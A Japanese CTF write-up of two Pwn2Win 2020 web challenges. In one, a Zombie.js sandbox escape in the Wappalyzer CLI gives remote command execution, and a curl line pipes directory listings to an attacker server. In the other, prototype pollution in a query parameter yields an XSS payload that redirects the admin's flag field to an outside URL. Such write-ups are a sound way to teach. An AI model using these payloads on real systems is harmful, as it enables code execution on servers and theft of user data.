5 月 30 日から 6 月 1 日にかけて開催された Pwn2Win CTF 2020 に、チーム zer0pts として参加しました。最終的にチームで 2842 点を獲得し、順位は 50 点以上得点した 401 チーム中 6 位でした。うち、私は 2 問を解いて 692 点を入れました。
他のメンバーの write-up はこちら。
以下、私が解いた問題の write-up です。
pwn m3 h4rd3r!
Automated tools are NOT required and NOT allowed, it’s a technical challenge!
(URL)
Author: caioluders
与えられた URL にアクセスすると、URL の入力フォームが表示されました。以下のようなソースコードも添付されていました。
<style>
:root{
color:white;
}
canvas {
position: absolute;
top: 0;
left: 0;
z-index: -3 !important;
}
</style>
<form action="/" method="post">
<label for="url">URL :</label>
<input name="url" id="url" type="text" value="https://google.com"><br>
<input type="submit" value="Go">
</form>
<a href="/?source">source plz</a>
<script src="https://cdn.jsdelivr.net/npm/p5@1.0.0/lib/p5.min.js"></script>
<script src="trippy.js"></script>
<!-- g0t sh3ll ? -->
<?php
if ( isset($_GET['source']) ) {
show_source('index.php');
}
if ( strpos($_POST['url'],'http://') === 0 || strpos($_POST['url'],'https://') === 0 ) {
echo system('timeout 8s wappalyzer ' . escapeshellarg(escapeshellcmd($_POST['url'])));
// npm install wappalyzer@5.9.34
}
?>
Wappalyzer という、与えた URL で使われている技術などを教えてくれるツールの CLI 版を system
で呼び出すようです。
escapeshellarg(escapeshellcmd($_POST['url'])));
と escapeshellcmd
と escapeshellarg
で二重にエスケープしている様子が CVE-2016-10033 を思い起こさせますが、escapeshellarg
が外側に来ているため OS コマンドインジェクションはできません。
Wappalyzer は npm でインストールしたものを使っているようですが、パッケージ情報を見ると 5.9.34 は 1 ヶ月前にリリースされたもので、最新バージョンは 6.0.2 であることがわかります。割と新しく見えますが、バージョンを固定しているということは脆弱性があるのでしょうか。
リリースログやバージョン間の diff を見てみましたが脆弱性は見つけられず、とりあえず挙動を確認することにしました。
Wappalyzer は Web サーバで使われているサービスの種類だけでなく、バージョンまで取得してくれます。どのように取得しているか気になりソースコードを読んでいると、例えば Apollo
では以下のように __APOLLO_CLIENT__
というオブジェクトの version
というプロパティにアクセスしているように思えました。
︙
"Apollo": {
"cats": [
59
],
"icon": "Apollo.svg",
"js": {
"__APOLLO_CLIENT__": "",
"__APOLLO_CLIENT__.version": "^(.+)$\\;version:\\1"
},
"website": "https://www.apollographql.com"
},
︙
Wappalyzer がどれほど柔軟に対応してくれるか気になり、以下のように Object.keys(this)
を文字列化したものを __APOLLO_CLIENT__
の version
プロパティに代入するコードを用意しました。
<script>
const a = Object.keys(this) + '';
__APOLLO_CLIENT__ = {"version": a};
</script>
これにアクセスさせると、Wappalyzer はおそらく動的解析をしているであろうことと、以下のようなプロパティの存在が確認できました。
…browser,opener,resources,MutationEvent,Function,fetch,Request,Response,_allWebSockets,DataView,_evaluate,setImmediate,clearImmediate,requestAnimationFrame,cancelAnimationFrame,EventSource,closed,_destroy,_history,_submit,_request,_response…
Function
や requestAnimationFrame
はそこらへんのブラウザでもビルトインで持っているプロパティですが、browser
や _allWebSockets
はそうではありません。これは怪しい。
GitHub で _allWebSockets
を検索すると Zombie.js のコードがヒットします。Wappalyzer は puppeteer か Zombie.js を使っているようですから、このためでしょう。
ただ、browser
などはアクセス先の Web ページからアクセスできてしまってよいプロパティなのでしょうか。サンドボックスからのエスケープのようなことができたりしないのでしょうか。
検証してみます。browser
の constructor
をたどってサンドボックス外の Function
を取得し、これを使って process.mainModule.require
を取得できないか試します。
<script>
const require = browser.constructor.constructor('return process')().mainModule.require;
const os = require('os');
const a = os.platform();
__APOLLO_CLIENT__ = {"version": a}
</script>
これにアクセスさせると、結果は linux
になりました。成功したようです。
今度は child_process
を require
して OS コマンドが実行できないか試してみましょう。
<script>
const require = browser.constructor.constructor('return process')().mainModule.require;
const child_process = require('child_process');
const a = child_process.execSync('ls -la / | curl https://(省略) -d @-') + '';
__APOLLO_CLIENT__ = {"version": a}
</script>
結果は以下のようになりました。
total 100
drwxr-xr-x 1 root root 4096 May 29 09:43 .
drwxr-xr-x 1 root root 4096 May 29 09:43 ..
-rwxr-xr-x 1 root root 0 May 29 09:43 .dockerenv
drwxr-xr-x 1 root root 4096 May 29 09:41 bin
drwxr-xr-x 2 root root 4096 May 2 16:39 boot
drwxr-xr-x 5 root root 340 May 29 10:25 dev
drwxr-xr-x 1 root root 4096 May 29 09:43 etc
-r--r----- 1 root gnx 60 May 29 09:18 flag.txt
-rwxr-sr-x 1 root gnx 16808 May 29 09:18 get_flag
drwxr-xr-x 1 root root 4096 May 29 09:42 home
drwxr-xr-x 1 root root 4096 May 15 12:49 lib
drwxr-xr-x 2 root root 4096 May 14 14:50 lib64
drwxr-xr-x 2 root root 4096 May 14 14:50 media
drwxr-xr-x 2 root root 4096 May 14 14:50 mnt
drwxr-xr-x 2 root root 4096 May 14 14:50 opt
dr-xr-xr-x 149 root root 0 May 29 10:25 proc
drwx------ 1 root root 4096 May 29 19:59 root
drwxr-xr-x 1 root root 4096 May 15 12:49 run
drwxr-xr-x 1 root root 4096 May 29 09:41 sbin
drwxr-xr-x 2 root root 4096 May 14 14:50 srv
dr-xr-xr-x 13 root root 0 May 29 10:25 sys
drwxrwxrwt 1 root root 4096 May 30 23:14 tmp
drwxr-xr-x 1 root root 4096 May 14 14:50 usr
drwxr-xr-x 1 root root 4096 May 15 12:41 var
OS コマンドを実行することができました。/get_flag
を実行させるとフラグが得られました。
CTF-BR{0ur_0day_w4s_f1x3d_l1t3r4lly_y3st3rd4y_l1k3_wtf????}
Last year there was an inside joke among Rebellious Fingers’ members that “Calc” was a baby challenge. What about her mother?
Automated tools are NOT required and NOT allowed, it’s a technical challenge!
(URL)
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
<!DOCTYPE html>
<html lang="en">
<head>
<title>Matrona</title>
<script nonce="OTVlZWYxYTJkYWM3NWZkYQ==">
onhashchange = () => alert(1337);
</script>
</head>
<body>
<!-- /?calc=1*7*191 -->
<h3>If you find any <a href="#calc">bugs</a> in our application, please report it to us!</h3>
<form action="/report" method="post">
<input type="hidden" name="flag" value="CTF-BR{real_flag_will_be_here_if_accessed_from_admin_session}">
<input type="text" name="url" placeholder="(省略)" size="39"><br><br>
<div class="g-recaptcha" data-sitekey="(省略)"></div><br>
<input type="submit" value="Send report"><br><br>
</form>
<script src="https://www.google.com/recaptcha/api.js" nonce="OTVlZWYxYTJkYWM3NWZkYQ=="></script>
</body>
</html>
以下のような CSP ヘッダも付与されています。
content-security-policy: default-src 'none'; script-src 'nonce-OTVlZWYxYTJkYWM3NWZkYQ=='; frame-src 'self' https://www.google.com/recaptcha/; form-action https://(省略)/report; base-uri 'none';
nonce はもちろんアクセスのたびに変わります。
とりあえず、コメントで誘導されているように /?calc=1*7*191
にアクセスしてみると、以下のように alert
の引数が変わりました。
onhashchange = () => alert(1*7*191);
使うことのできる文字種の制限はありません。ただし、aaaaaaaa
ではそのまま出力され、aaaaaaaaa
は 1337
が出力されることから、8 文字以下でなければならないという制約があるようです。
もし calc
が配列やオブジェクトになればどうなるか気になり /?calc[a]=abc
にアクセスしてみたところ、[object Object]
が出力されました。calc
が文字列型かどうかは確認されていないようです。
配列の場合はどうなるか /?calc[]=a&calc[]=b
にアクセスしてみたところ、今度は 1337
と表示されました。なぜでしょうか。
Prototype Pollution ができないかいろいろ試していると、/?calc[__proto__][]=aaaaaaaaaaaa
で 9 文字以上のはずの aaaaaaaaaaaa
がそのまま出力されました。これは calc
にアクセスすると ['aaaaaaaaaaaa']
が返ってきて、calc.length
が 1
になるためでしょう。
あとはやるだけです。CSP のせいで (new Image).src = '…'
は使えませんから、location
で適当な URL に遷移させてフラグを抽出します。/?calc[__proto__][]=);window.onload=()=>{location=%27https://(省略)?%27%2bdocument.getElementsByName(%27flag%27)[0].value}//
で以下のような HTML が出力され、フラグが得られました。
<script nonce="OTVlZWYxYTJkYWM3NWZkYQ==">
onhashchange = () => alert();window.onload=()=>{location='https://(省略)?'+document.getElementsByName('flag')[0].value}//);
</script>
CTF-BR{b3tt3r_b3_s4f3_th4n_s0rry}